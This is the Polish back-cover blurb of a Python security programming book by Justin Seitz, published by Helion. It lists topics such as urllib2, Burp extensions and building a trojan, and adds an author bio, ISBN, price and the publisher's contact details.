- poznasz możliwości języka Python
- zaznajomisz się z biblioteką urllib2
- rozszerzysz możliwości narzędzia Burp
- stworzysz własnego konia trojańskiego
- zautomatyzujesz wykrywanie ataków

Justin Seitz — starszy specjalista ds. zabezpieczeń w Immunity Inc. W codziennej pracy zajmuje się wyszukiwaniem błędów, inżynierią wsteczną oraz tworzeniem exploitów. Jest wielkim entuzjastą języka Python. Wykorzystuje go między innymi do prowadzenia analizy zabezpieczeń oraz tworzenia narzędzi przydatnych w pracy.

sięgnij po WIĘCEJ



KOD KORZYSCI

ISBN 978-83-283-1250-0



9 788328 312500

cena: 39,90 zł

Helion

35923 numer katalogowy

księgarnia internetowa

<http://helion.pl>

zamówienia telefoniczne

☎ 0 801 339900

☎ 0 601 339900

Informatyka w najlepszym wydaniu

Sprawdź najnowsze promocje:

● <http://helion.pl/promocje>

Książki najchętniej czytane:

● <http://helion.pl/bestsellery>

Zamów informacje o nowościach:

● <http://helion.pl/nawosci>

Helion SA
ul. Kościuszki 1c, 44-100 Głwice
tel.: 32 230 98 63
e-mail: helion@helion.pl
<http://helion.pl>